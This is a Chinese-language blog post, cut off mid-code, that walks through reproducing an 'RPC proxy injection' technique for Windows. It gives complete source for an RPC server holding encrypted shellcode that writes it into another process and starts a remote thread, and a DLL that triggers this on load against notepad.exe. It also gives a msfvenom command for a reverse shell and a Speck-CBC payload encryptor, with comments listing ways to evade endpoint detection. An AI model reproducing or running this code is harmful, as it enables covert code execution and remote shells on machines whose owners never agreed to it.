RPC 代理远程注入dll获得shell

RPC 代理远程注入dll获得shell

RPC 接口是什么?

RPC(Remote Procedure Call,远程过程调用)接口,本质是:

一组被暴露出来、允许“远程调用”的函数定义 + 通信协议 + 序列化规则

是 Windows 操作系统中用于不同进程(甚至不同机器)之间进行通信的标准机制。许多系统服务(Service)和后台进程都作为“RPC 服务器”运行,等待其他程序(“RPC 客户端”)发送请求来执行特定的任务。

今天在推特上刷到文章RPC 代理注入。欢迎阅读这篇新的 Medium 文章。在… | 作者:S12 - 0x12Dark Development | 2026 年 1 月 | Medium --- RPC Proxy Injection. Welcome to this new Medium post. In… | by S12 - 0x12Dark Development | Jan, 2026 | Medium:使得攻击者利用RPC机制将恶意代码(如 Shellcode 、DLL)强制加载到另一个合法进程的内存中并运行,以隐藏自身行踪或获取更高权限。

技术原理

作者 s12deff 之前的研究脉络(关于利用 RPC 进行进程间通信、自定义 DLL 加载等文章),这项技术的工作原理大致如下:

寻找 RPC 接口: 攻击者首先会在目标进程(通常是高权限的系统服务)中寻找一个开放的 RPC 接口。Windows 系统中有成千上万个 RPC 接口。

利用 RPC 作为载体 (Proxy): 传统的注入通常需要打开目标进程句柄(OpenProcess),写入内存(WriteProcessMemory),然后创建线程(CreateRemoteThread)。这种行为很容易被 EDR(端点检测与响应系统)拦截。 RPC Proxy Injection 则不同,它表现为一个合法的 RPC 客户端向 RPC 服务器发送请求。这个请求中可能包含了恶意的 Payload,或者是触发漏洞的参数。

触发执行: 攻击者调用 RPC 接口中的某个特定函数。这个函数在目标进程内部执行时,会被诱导去执行攻击者指定的代码,或者加载攻击者指定的 DLL。

  • 利用RPC 函数本身允许传递回调函数指针,或者通过利用 RPC 消息处理中的逻辑,将执行流重定向到恶意代码。因为代码执行是由合法的 RPC 服务进程发起的(代表客户端执行),所以看起来像是合法的业务操作。

复现流程

其核心思想是将敏感操作分散到两个不同的进程中,以打断 EDR(端点检测与响应系统)的攻击链检测:

  1. DLL (Client):负责“准备工作”(查找目标、分配内存)。它看起来像是一个正常的程序在申请资源,但它不写入任何恶意代码,也不执行
  2. EXE (Server):负责“脏活”(解密 Shellcode、写入内存、创建线程)。由于它通过 RPC 接收指令,EDR 很难将 DLL 的分配行为与 EXE 的写入/执行行为关联起来。

1.创建message idl并编译

message.idl

[
    uuid(87654321-1234-5678-1234-567812345678),
    version(1.0),
    pointer_default(unique)
]
interface MessageRPC
{
    void GetSize(
        [in] handle_t IDL_handle,
        [out] hyper* size
    );

    void TriggerInjection(
        [in] handle_t IDL_handle,
        [in] int pid,
        [in] hyper hProcess,
        [in] hyper allocMem,
        [out, string] unsigned char** response
    );
}

message.acf

[
    implicit_handle(handle_t hBinding)
]
interface MessageRPC
{
}

打开Visual Studio Developer Command Prompt,

midl /env x64 /app_config message.idl

得到

  • message.h (头文件)
  • message_c.c (客户端存根,给 DLL 用)
  • message_s.c (服务器存根,给 EXE 用)

2.编译客户端和服务器

RpcServer.cpp

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
#include "message.h"

#pragma comment(lib, "Rpcrt4.lib")


// Add evasion
// 1- Encrypted shellcode = DONE!
// 2- Decode at runtime = DONE!
// 3- Divide responsibility -> OpenProcess and VirtualAllocEx in the DLL. WriteProcessMemory and CreateRemoteThread in the RPC server = DONE!
// 4- Change to CustomWriteProcessMemory 
// 5- Alternative to CreateRemoteThread
// 6- Divide Shellcode responsibility -> DLL writes a part of shellcode + RPC server writes the rest


unsigned char buf[] = "\x76\x18\xfc\x42\x85\x55\xa1\x16\x49\x58\x7b\xa4\x8b\xd9\x03\xb0\x5f\x92\xa2\x78\xb3\x6d\x17\x84\xe5\x30\xb2\xea\x72\xae\x5a\x1e\x21\x66\x2b\xfc\xfc\x0b\xf1\xb7\xbc\x59\x82\x6e\x54\xae\x9c\xdf\x06\xf8\xec\xff\x29\xfe\x2d\xb9\xe6\x2d\xed\x96\x98\xeb\xc6\x25\x82\x75\x01\xe5\xd1\x50\x51\x64\x2f\x43\x53\xa8\x8c\xe5\x4d\x59\x71\xab\x6d\x63\x60\xda\x96\xb0\x1b\x45\x9e\xb0\xb5\xf9\xc2\xaf\x3b\x1d\x1e\x6c\xd6\x6a\x85\xfc\xcb\xad\xaa\x16\x28\xf3\x29\x1b\x82\xd5\x53\xd1\x13\xc2\xdb\xf3\xeb\x97\x9d\x7d\x80\xea\x5a\x6e\x22\x14\xac\xa1\x13\xcd\xab\x23\x60\x4e\x6a\xa6\x8d\xff\xd7\x5b\x02\x71\xf9\x06\xaf\xb7\xed\xc3\xa1\x79\x71\xc0\x39\xcd\x96\xed\x00\x09\x4c\xb3\xcf\x30\x00\xe8\x23\x7e\x22\x26\x82\x62\xfd\xae\x59\x20\x70\xe0\x47\x8d\xfb\x7b\xc2\x9e\x65\xd0\x52\x83\xf4\x82\xa8\xec\xa4\xc2\x0d\x97\x4d\xa5\xa6\xb7\x0d\x94\x36\xab\xb4\x1c\xea\xf4\xdd\x75\x41\xcf\xb1\xab\x6d\x98\xe2\x06\xa2\x1f\x99\xf1\x20\x4e\x35\x29\x94\xd8\xd4\x7f\x50\xf3\x04\x1f\x49\x36\xa6\x96\x5f\xab\x4d\x54\x02\xc4\x2d\x4c\x93\xae\x63\x9d\x84\x85\x63\xcf\xb8\x99\xfb\xb4\x28\x53\x64\x09\x11\x11\xe5\x3a\x5c\xc2\x35\xb9\xe6\xab\x44\x20\x63\x35\x90\x41\x73\x6b\x3f\x10\xd0\xe7\xf3\x0e\x92\x5b\xbc\x79\xd3\x02\xc9\xea\x74\x68\xcc\xd3\xb6\x58\x72\xac\x88\x15\x9d\xfc\x7c\x4a\x0d\xe7\xbe\x0f\xba\x12\x17\x87\xf2\xea\x3b\x08\x9c\x0e\x2f\x71\xdd\x66\x37\x33\x64\xe4\x54\x9c\x43\x23\x7c\x98\x49\x47\x91\x44\xe1\xbc\x2a\x8f\xda\xaf\xa3\xea\xbc\x4e\xd0\x82\x3f\x71\xa6\xa5\x62\xc0\x07\xbb\x82\x80\xb9\xef\x81\x42\x48\x54\x6d\x5c\x63\xc0\x5d\x08\x32\x58\x8c\x6c\x8f\x8b\x58\xb6\x7b\xb6\x71\xa7\x6b\x9f\x69\x25\x73\xec\xda\xa8\x93\xeb\xa8\xfe\x82\xdc\x4e\x34\x46\x93\x64\x71\x2e\x0d\xe7\x48\x8e\x9c\xeb\x21\xfd\x99\x36\xfb\x1b\x7e\xae\xab\x5a\x3c\xde\x2c\xfa\x06\xd1\xa0\x4d\x05\xca\x8f\xe8\x4f\xe2\xf4\xcd\x6a\xd1\x0a\x68\xb8\xae\x2d\xee\x7f\x37\x3e\xe4\x29\xb7\x18\x5f\x94\x93\x1e\x40\x32\xb4\x16\x96\xe2\xa2\x6a\xaf\x50\x62\x10\xf4\x4e\xca\xa6\xbe\xe8\x60\x35";
int bufLen = sizeof(buf) ;

// ==================== GLOBAL STATE ====================
unsigned char* g_DecryptBuffer = NULL;
SIZE_T g_PaddedLen = 0;

#define ROUNDS 45
#define BLOCK_BYTES 16

uint64_t roundKeys[ROUNDS];

// ==================== CRC32 ====================
uint32_t crc32Table[256];

void generateCrc32Table() {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int j = 0; j < 8; j++) {
            c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
        }
        crc32Table[i] = c;
    }
}

uint32_t crc32(const unsigned char* data, size_t length) {
    uint32_t crc = 0xFFFFFFFF;
    for (size_t i = 0; i < length; i++) {
        crc = crc32Table[(crc ^ data[i]) & 0xFF] ^ (crc >> 8);
    }
    return crc ^ 0xFFFFFFFF;
}

// ==================== SPECK ====================
void parseHexKey(const char* keyStr, uint64_t key[2]) {
    char buffer[17] = { 0 };
    strncpy(buffer, keyStr, 16);
    key[0] = strtoull(buffer, NULL, 16);
    strncpy(buffer, keyStr + 16, 16);
    key[1] = strtoull(buffer, NULL, 16);
}

uint64_t rol(uint64_t x, int r) {
    return (x << r) | (x >> (64 - r));
}

uint64_t ror(uint64_t x, int r) {
    return (x >> r) | (x << (64 - r));
}

void speckKeySchedule(uint64_t key[2]) {
    roundKeys[0] = key[0];
    uint64_t b = key[1];
    for (int i = 0; i < ROUNDS - 1; i++) {
        b = (ror(b, 8) + roundKeys[i]) ^ i;
        roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
    }
}

void speckEncrypt(uint64_t* x, uint64_t* y) {
    for (int i = 0; i < ROUNDS; i++) {
        *x = (ror(*x, 8) + *y) ^ roundKeys[i];
        *y = rol(*y, 3) ^ *x;
    }
}

void speckDecrypt(uint64_t* x, uint64_t* y) {
    for (int i = ROUNDS - 1; i >= 0; i--) {
        *y = ror(*y ^ *x, 3);
        *x = rol((*x ^ roundKeys[i]) - *y, 8);
    }
}

// ==================== RPC FUNCTIONS ====================

void GetSize(handle_t IDL_handle, hyper* size)
{
    printf("[SERVER] GetSize: Starting\n");

    if (size == NULL) {
        printf("[SERVER ERROR] GetSize: size is NULL\n");
        return;
    }

    const char* keyStr = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";
    uint64_t key[2];

    parseHexKey(keyStr, key);
    speckKeySchedule(key);

    uint64_t* iv = (uint64_t*)buf;

    int totalLen = sizeof(buf) - 1;
    int payloadLen = totalLen - BLOCK_BYTES;
    int paddedLen = (payloadLen + BLOCK_BYTES - 1) & ~(BLOCK_BYTES - 1);

    printf("[SERVER] GetSize: Calculated padded length = %d\n", paddedLen);

    if (g_DecryptBuffer) {
        printf("[SERVER] GetSize: Freeing previous buffer\n");
        free(g_DecryptBuffer);
        g_DecryptBuffer = NULL;
    }

    g_DecryptBuffer = (unsigned char*)malloc(paddedLen);
    if (!g_DecryptBuffer) {
        printf("[SERVER ERROR] GetSize: malloc failed\n");
        *size = 0;
        return;
    }

    printf("[SERVER] GetSize: Buffer allocated successfully\n");

    memcpy(g_DecryptBuffer, buf + BLOCK_BYTES, paddedLen);

    uint64_t prevDecrypt[2] = { iv[0], iv[1] };

    for (int i = 0; i < paddedLen; i += BLOCK_BYTES) {
        uint64_t* block = (uint64_t*)(g_DecryptBuffer + i);
        uint64_t temp[2] = { block[0], block[1] };

        speckDecrypt(&block[0], &block[1]);

        block[0] ^= prevDecrypt[0];
        block[1] ^= prevDecrypt[1];

        prevDecrypt[0] = temp[0];
        prevDecrypt[1] = temp[1];
    }

    g_PaddedLen = paddedLen;
    *size = (hyper)paddedLen;

    printf("[SERVER SUCCESS] GetSize: Returning size = %lld\n", *size);
}

void TriggerInjection(
    handle_t IDL_handle,
    int pid,
    hyper hProcess,
    hyper allocMem,
    unsigned char** response
)
{
    printf("[SERVER] TriggerInjection: Starting\n");
    printf("[SERVER] TriggerInjection: PID=%d hProcess=0x%llx allocMem=0x%llx\n",
        pid, hProcess, allocMem);

    if (!response) {
        printf("[SERVER ERROR] TriggerInjection: response is NULL\n");
        return;
    }

    if (!g_DecryptBuffer) {
        printf("[SERVER ERROR] TriggerInjection: Decryption buffer is NULL\n");
        const char* msg = "Decryption buffer not initialized";
        *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
        strcpy((char*)*response, msg);
        return;
    }

    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!processHandle) {
        printf("[SERVER ERROR] TriggerInjection: OpenProcess failed (0x%08x)\n", GetLastError());
        const char* msg = "Failed to open target process";
        *response = (unsigned char*)midl_user_allocate(strlen(msg) + 1);
        strcpy((char*)*response, msg);
        return;
    }

    printf("[SERVER] TriggerInjection: Process opened successfully\n");

    LPVOID remoteMem = (LPVOID)(ULONG_PTR)allocMem;
    if (!remoteMem) {
        printf("[SERVER ERROR] TriggerInjection: allocMem is NULL\n");
        CloseHandle(processHandle);
        return;
    }

    SIZE_T written;
    if (!WriteProcessMemory(processHandle, remoteMem, g_DecryptBuffer, g_PaddedLen, &written)) {
        printf("[SERVER ERROR] TriggerInjection: WriteProcessMemory failed (0x%08x)\n", GetLastError());
        CloseHandle(processHandle);
        return;
    }

    printf("[SERVER SUCCESS] TriggerInjection: Wrote %zu bytes\n", written);

    HANDLE hThread = CreateRemoteThread(
        processHandle,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );

    if (!hThread) {
        printf("[SERVER ERROR] TriggerInjection: CreateRemoteThread failed (0x%08x)\n", GetLastError());
        CloseHandle(processHandle);
        return;
    }

    printf("[SERVER SUCCESS] TriggerInjection: Remote thread created\n");

    CloseHandle(hThread);
    CloseHandle(processHandle);
    free(g_DecryptBuffer);
    g_DecryptBuffer = NULL;

    const char* reply = "Injection succeeded";
    *response = (unsigned char*)midl_user_allocate(strlen(reply) + 1);
    strcpy((char*)*response, reply);

    printf("[SERVER SUCCESS] TriggerInjection: Completed successfully\n");
}

// ==================== RPC MEMORY ====================
void* __RPC_USER midl_user_allocate(size_t len) {
    return malloc(len);
}

void __RPC_USER midl_user_free(void* ptr) {
    free(ptr);
}

// ==================== MAIN ====================
// midl /env x64 /robust message.idl
// Include message_s.c and message.h

int main()
{
    RPC_STATUS status;

    status = RpcServerUseProtseqEpA(
        (RPC_CSTR)"ncalrpc",
        RPC_C_PROTSEQ_MAX_REQS_DEFAULT,
        (RPC_CSTR)"MessageRPC",
        NULL
    );

    if (status) return status;

    status = RpcServerRegisterIf(
        MessageRPC_v1_0_s_ifspec,
        NULL,
        NULL
    );

    if (status) return status;

    printf("[SERVER] RPC Server running...\n");

    status = RpcServerListen(
        1,
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,
        FALSE
    );

    return status;
}

dllmain.cpp

// dllmain.cpp : RPC Client DLL that automatically connects to the local server
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <rpc.h>
#include <string>
#include <iostream>
#include <tlhelp32.h>
#include "message.h" // Generated by MIDL - includes the interface definitions
#pragma comment(lib, "Rpcrt4.lib")

using namespace std;

int getPIDbyProcName(const string& procName) {
    OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Starting process search");

    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) {
        OutputDebugStringW(L"[ERROR] getPIDbyProcName: CreateToolhelp32Snapshot failed");
        return 0;
    }

    OutputDebugStringW(L"[DEBUG] getPIDbyProcName: Snapshot created successfully");

    PROCESSENTRY32W pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    if (Process32FirstW(hSnap, &pe32) != FALSE) {
        wstring wideProcName(procName.begin(), procName.end());
        wchar_t msg[512];
        swprintf_s(msg, L"[DEBUG] getPIDbyProcName: Searching for process: %s", wideProcName.c_str());
        OutputDebugStringW(msg);

        do {
            if (_wcsicmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
                pid = pe32.th32ProcessID;
                swprintf_s(msg, L"[SUCCESS] getPIDbyProcName: Process found! PID=%d", pid);
                OutputDebugStringW(msg);
                break;
            }
        } while (Process32NextW(hSnap, &pe32) != FALSE);

        if (pid == 0) {
            OutputDebugStringW(L"[WARNING] getPIDbyProcName: Process not found");
        }
    }
    else {
        OutputDebugStringW(L"[ERROR] getPIDbyProcName: Process32FirstW failed");
    }

    CloseHandle(hSnap);
    return pid;
}

// -----------------------------------------------------
// Memory management functions required by RPC
// -----------------------------------------------------
void* __RPC_USER midl_user_allocate(size_t size)
{
    wchar_t msg[256];
    swprintf_s(msg, L"[DEBUG] midl_user_allocate: Allocating %zu bytes", size);
    OutputDebugStringW(msg);
    return malloc(size);
}

void __RPC_USER midl_user_free(void* ptr)
{
    OutputDebugStringW(L"[DEBUG] midl_user_free: Freeing memory");
    free(ptr);
}

long long getPaddedLen() {
    OutputDebugStringW(L"[DEBUG] getPaddedLen: Starting");

    RPC_STATUS status;
    RPC_WSTR stringBinding = NULL;
    RPC_BINDING_HANDLE binding = NULL;

    // 1. Compose the binding string for local RPC (ncalrpc)
    OutputDebugStringW(L"[DEBUG] getPaddedLen: Composing binding string");
    status = RpcStringBindingComposeW(
        NULL,
        (RPC_WSTR)L"ncalrpc",
        NULL,
        (RPC_WSTR)L"MessageRPC",
        NULL,
        &stringBinding
    );

    if (status != RPC_S_OK)
    {
        wchar_t msg[256];
        swprintf_s(msg, L"[ERROR] getPaddedLen: RpcStringBindingCompose failed: 0x%08x", status);
        OutputDebugStringW(msg);
        return 0;
    }

    OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding string composed");

    // 2. Create the actual binding handle
    OutputDebugStringW(L"[DEBUG] getPaddedLen: Creating binding handle");
    status = RpcBindingFromStringBindingW(stringBinding, &binding);
    RpcStringFreeW(&stringBinding);

    if (status != RPC_S_OK)
    {
        wchar_t msg[256];
        swprintf_s(msg, L"[ERROR] getPaddedLen: RpcBindingFromStringBinding failed: 0x%08x", status);
        OutputDebugStringW(msg);
        return 0;
    }

    OutputDebugStringW(L"[SUCCESS] getPaddedLen: Binding handle created");

    RpcTryExcept
    {
        OutputDebugStringW(L"[DEBUG] getPaddedLen: Calling GetSize RPC");
        long long size = 0;
        GetSize(binding, &size);

        wchar_t msg[256];
        swprintf_s(msg, L"[SUCCESS] getPaddedLen: GetSize returned: %lld", size);
        OutputDebugStringW(msg);

        return size;
    }
        RpcExcept(EXCEPTION_EXECUTE_HANDLER)
    {
        wchar_t msg[256];
        swprintf_s(msg, L"[ERROR] getPaddedLen: RPC Exception: 0x%08x", RpcExceptionCode());
        OutputDebugStringW(msg);
    }
    RpcEndExcept

        OutputDebugStringW(L"[DEBUG] getPaddedLen: Finishing with error");
    return 0;
}

// -----------------------------------------------------
// Helper function to make the RPC call
// -----------------------------------------------------
void CallRpcServer(int pid, HANDLE hProcess, LPVOID allocMem)
{
    OutputDebugStringW(L"[DEBUG] CallRpcServer: Starting");

    wchar_t msg[256];
    swprintf_s(msg, L"[DEBUG] CallRpcServer: PID=%d, hProcess=0x%p, allocMem=0x%p", pid, hProcess, allocMem);
    OutputDebugStringW(msg);

    RPC_STATUS status;
    RPC_WSTR stringBinding = NULL;
    RPC_BINDING_HANDLE binding = NULL;

    OutputDebugStringW(L"[DEBUG] CallRpcServer: Composing binding string");
    status = RpcStringBindingComposeW(
        NULL,
        (RPC_WSTR)L"ncalrpc",
        NULL,
        (RPC_WSTR)L"MessageRPC",
        NULL,
        &stringBinding
    );

    if (status != RPC_S_OK)
    {
        swprintf_s(msg, L"[ERROR] CallRpcServer: RpcStringBindingCompose failed: 0x%08x", status);
        OutputDebugStringW(msg);
        return;
    }

    OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding string composed");

    OutputDebugStringW(L"[DEBUG] CallRpcServer: Creating binding handle");
    status = RpcBindingFromStringBindingW(stringBinding, &binding);
    RpcStringFreeW(&stringBinding);

    if (status != RPC_S_OK)
    {
        swprintf_s(msg, L"[ERROR] CallRpcServer: RpcBindingFromStringBinding failed: 0x%08x", status);
        OutputDebugStringW(msg);
        return;
    }

    OutputDebugStringW(L"[SUCCESS] CallRpcServer: Binding handle created");

    RpcTryExcept
    {
        OutputDebugStringW(L"[DEBUG] CallRpcServer: Calling TriggerInjection RPC");
        unsigned char* response = NULL;

        TriggerInjection(binding, pid, (hyper)hProcess, (hyper)allocMem, &response);

        OutputDebugStringW(L"[SUCCESS] CallRpcServer: TriggerInjection completed");

        if (response)
        {
            wchar_t dbg[512];
            swprintf_s(dbg, L"[SUCCESS] CallRpcServer: Server response: %S", response);
            OutputDebugStringW(dbg);
            midl_user_free(response);
        }
        else {
            OutputDebugStringW(L"[WARNING] CallRpcServer: NULL response from server");
        }
    }
        RpcExcept(EXCEPTION_EXECUTE_HANDLER)
    {
        swprintf_s(msg, L"[ERROR] CallRpcServer: RPC Exception: 0x%08x", RpcExceptionCode());
        OutputDebugStringW(msg);
    }
    RpcEndExcept

        OutputDebugStringW(L"[DEBUG] CallRpcServer: Finishing");
}

// -----------------------------------------------------
// Entry point
// -----------------------------------------------------
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
        int pid;
        HANDLE hProcess;
        SIZE_T size;
        LPVOID allocMem;
        long long paddedLenValue;

    case DLL_PROCESS_ATTACH:
        OutputDebugStringW(L"[INFO] ========================================");
        OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH started");
        OutputDebugStringW(L"[INFO] ========================================");

        OutputDebugStringW(L"[DEBUG] DllMain: Getting PID of notepad.exe");
        pid = getPIDbyProcName("notepad.exe");

        if (pid == 0) {
            OutputDebugStringW(L"[ERROR] DllMain: Failed to find notepad.exe");
            return FALSE;
        }

        wchar_t msg[256];
        swprintf_s(msg, L"[DEBUG] DllMain: Opening process PID=%d", pid);
        OutputDebugStringW(msg);

        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
        if (hProcess == NULL)
        {
            DWORD err = GetLastError();
            swprintf_s(msg, L"[ERROR] DllMain: OpenProcess failed. Error: 0x%08x", err);
            OutputDebugStringW(msg);
            return FALSE;
        }

        swprintf_s(msg, L"[SUCCESS] DllMain: Process opened. Handle=0x%p", hProcess);
        OutputDebugStringW(msg);

        OutputDebugStringW(L"[DEBUG] DllMain: Getting padded size");
        paddedLenValue = getPaddedLen();

        if (paddedLenValue == 0) {
            OutputDebugStringW(L"[ERROR] DllMain: getPaddedLen returned 0");
            CloseHandle(hProcess);
            return FALSE;
        }

        size = (SIZE_T)paddedLenValue;
        swprintf_s(msg, L"[DEBUG] DllMain: Size to allocate: %zu bytes", size);
        OutputDebugStringW(msg);

        OutputDebugStringW(L"[DEBUG] DllMain: Allocating memory in remote process");
        allocMem = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        if (allocMem == NULL) {
            DWORD err = GetLastError();
            swprintf_s(msg, L"[ERROR] DllMain: VirtualAllocEx failed. Error: 0x%08x", err);
            OutputDebugStringW(msg);
            CloseHandle(hProcess);
            return FALSE;
        }

        swprintf_s(msg, L"[SUCCESS] DllMain: Memory allocated at: 0x%p", allocMem);
        OutputDebugStringW(msg);

        OutputDebugStringW(L"[DEBUG] DllMain: Calling CallRpcServer");
        CallRpcServer(pid, hProcess, allocMem);

        OutputDebugStringW(L"[INFO] ========================================");
        OutputDebugStringW(L"[INFO] DllMain: DLL_PROCESS_ATTACH completed");
        OutputDebugStringW(L"[INFO] ========================================");

        break;

    case DLL_THREAD_ATTACH:
        OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_ATTACH");
        break;

    case DLL_THREAD_DETACH:
        OutputDebugStringW(L"[DEBUG] DllMain: DLL_THREAD_DETACH");
        break;

    case DLL_PROCESS_DETACH:
        OutputDebugStringW(L"[DEBUG] DllMain: DLL_PROCESS_DETACH");
        break;
    }
    return TRUE;
}

思路:DLL 被加载─> 找 notepad.exe─> OpenProcess─> RPC 调用 GetSize()─> Server 解密 shellcode,返回大小─> DLL VirtualAllocEx()─> RPC 调用 TriggerInjection()─> WriteProcessMemory、CreateRemoteThread

3.生成shellcode

MSF 生成一个 raw 格式的 shellcode

msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin

然后加密,硬编码进server

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <vector>
#include <fstream>
#include <iomanip>
#include <random>

// ==================== 配置区域 ====================
// 必须与 RpcServer.cpp 中的密钥保持一致
const char* KEY_STR = "A9xK4R0E2Wc6B1D8P5N7ZL3GJQHfIeMy";

#define ROUNDS 45
#define BLOCK_BYTES 16

// ==================== SPECK 核心算法 ====================
uint64_t roundKeys[ROUNDS];

void parseHexKey(const char* keyStr, uint64_t key[2]) {
    char buffer[17] = { 0 };
    strncpy(buffer, keyStr, 16);
    key[0] = strtoull(buffer, NULL, 16);
    strncpy(buffer, keyStr + 16, 16);
    key[1] = strtoull(buffer, NULL, 16);
}

uint64_t rol(uint64_t x, int r) { return (x << r) | (x >> (64 - r)); }
uint64_t ror(uint64_t x, int r) { return (x >> r) | (x << (64 - r)); }

void speckKeySchedule(uint64_t key[2]) {
    roundKeys[0] = key[0];
    uint64_t b = key[1];
    for (int i = 0; i < ROUNDS - 1; i++) {
        b = (ror(b, 8) + roundKeys[i]) ^ i;
        roundKeys[i + 1] = rol(roundKeys[i], 3) ^ b;
    }
}

void speckEncrypt(uint64_t* x, uint64_t* y) {
    for (int i = 0; i < ROUNDS; i++) {
        *x = (ror(*x, 8) + *y) ^ roundKeys[i];
        *y = rol(*y, 3) ^ *x;
    }
}

void speckDecrypt(uint64_t* x, uint64_t* y) {
    for (int i = ROUNDS - 1; i >= 0; i--) {
        *y = ror(*y ^ *x, 3);
        *x = rol((*x ^ roundKeys[i]) - *y, 8);
    }
}

// ==================== 辅助工具函数 ====================

// 读取文件
std::vector<unsigned char> ReadFile(const std::string& filename) {
    std::ifstream file(filename, std::ios::binary);
    if (!file) return {};
    return std::vector<unsigned char>((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
}

// 写入文件
void WriteFile(const std::string& filename, const std::vector<unsigned char>& data) {
    std::ofstream file(filename, std::ios::binary);
    file.write((const char*)data.data(), data.size());
}

// 生成随机 IV (16字节)
void GenerateRandomIV(uint64_t iv[2]) {
    std::random_device rd;
    std::mt19937_64 gen(rd());
    iv[0] = gen();
    iv[1] = gen();
}

// PKCS7 Padding (补齐数据到 16 的倍数)
std::vector<unsigned char> PKCS7Pad(const std::vector<unsigned char>& data) {
    std::vector<unsigned char> padded = data;
    int paddingSize = BLOCK_BYTES - (data.size() % BLOCK_BYTES);
    for (int i = 0; i < paddingSize; i++) {
        padded.push_back((unsigned char)paddingSize);
    }
    return padded;
}

// PKCS7 Unpadding (移除补齐)
std::vector<unsigned char> PKCS7Unpad(const std::vector<unsigned char>& data) {
    if (data.empty()) return {};
    unsigned char paddingSize = data.back();
    if (paddingSize > BLOCK_BYTES || paddingSize == 0) return data; // 格式不对,直接返回原数据
    std::vector<unsigned char> unpadded = data;
    unpadded.resize(data.size() - paddingSize);
    return unpadded;
}

// 输出为 C 语言数组格式
void PrintAsCArray(const std::vector<unsigned char>& data) {
    std::cout << "\n[+] Encrypted Shellcode (Copy this to RpcServer.cpp):\n";
    std::cout << "========================================================\n";
    std::cout << "unsigned char buf[] = \"";
    for (size_t i = 0; i < data.size(); i++) {
        std::cout << "\\x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
    }
    std::cout << "\";\n";
    std::cout << "int bufLen = sizeof(buf) - 1;\n";
    std::cout << "========================================================\n";
}

// ==================== 主功能逻辑 ====================

// 加密流程
void DoEncryption() {
    std::string filename;
    std::cout << "Enter filename of RAW shellcode (e.g. payload.bin): ";
    std::cin >> filename;

    std::vector<unsigned char> raw = ReadFile(filename);
    if (raw.empty()) {
        std::cout << "[-] Error: File not found or empty.\n";
        return;
    }

    printf("[*] Read %zu bytes. Applying PKCS7 padding...\n", raw.size());
    std::vector<unsigned char> padded = PKCS7Pad(raw);

    // 1. 生成随机 IV
    uint64_t iv[2];
    GenerateRandomIV(iv);
    printf("[*] Generated IV: %016llx %016llx\n", iv[0], iv[1]);

    // 2. 准备缓冲区 (IV + Ciphertext)
    std::vector<unsigned char> result;
    result.resize(BLOCK_BYTES + padded.size());
    memcpy(result.data(), iv, BLOCK_BYTES); // 把 IV 放在头部

    // 3. CBC 加密
    uint64_t* plainBlocks = (uint64_t*)padded.data();
    uint64_t* cipherBlocks = (uint64_t*)(result.data() + BLOCK_BYTES);
    int blockCount = padded.size() / BLOCK_BYTES;

    uint64_t prevCipher[2] = { iv[0], iv[1] };

    for (int i = 0; i < blockCount; i++) {
        uint64_t currentBlock[2] = { plainBlocks[i * 2], plainBlocks[i * 2 + 1] };

        // XOR 前一块密文
        currentBlock[0] ^= prevCipher[0];
        currentBlock[1] ^= prevCipher[1];

        // 加密
        speckEncrypt(&currentBlock[0], &currentBlock[1]);

        // 保存并更新 prevCipher
        cipherBlocks[i * 2] = currentBlock[0];
        cipherBlocks[i * 2 + 1] = currentBlock[1];

        prevCipher[0] = currentBlock[0];
        prevCipher[1] = currentBlock[1];
    }

    // 4. 输出
    PrintAsCArray(result);
    WriteFile("encrypted.bin", result);
    std::cout << "[+] Saved binary output to 'encrypted.bin'\n";
}

// 解密流程
void DoDecryption() {
    std::string filename;
    std::cout << "Enter filename of ENCRYPTED bin (e.g. encrypted.bin): ";
    std::cin >> filename;

    std::vector<unsigned char> fileData = ReadFile(filename);
    if (fileData.size() < 16) {
        std::cout << "[-] Error: File too small (must contain at least 16 bytes IV).\n";
        return;
    }

    // 1. 提取 IV
    uint64_t iv[2];
    memcpy(iv, fileData.data(), 16);
    printf("[*] Extracted IV: %016llx %016llx\n", iv[0], iv[1]);

    // 2. 准备解密
    std::vector<unsigned char> cipherData(fileData.begin() + 16, fileData.end());
    if (cipherData.size() % 16 != 0) {
        std::cout << "[-] Warning: Data length is not a multiple of 16. It might be corrupted.\n";
    }

    uint64_t* cipherBlocks = (uint64_t*)cipherData.data();
    int blockCount = cipherData.size() / BLOCK_BYTES;

    uint64_t prevCipher[2] = { iv[0], iv[1] };

    // 3. CBC 解密
    for (int i = 0; i < blockCount; i++) {
        uint64_t currentBlock[2] = { cipherBlocks[i * 2], cipherBlocks[i * 2 + 1] };
        uint64_t saveNextPrev[2] = { currentBlock[0], currentBlock[1] }; // 保存当前的密文作为下一轮的prev

        // 解密
        speckDecrypt(&currentBlock[0], &currentBlock[1]);

        // XOR 前一块密文
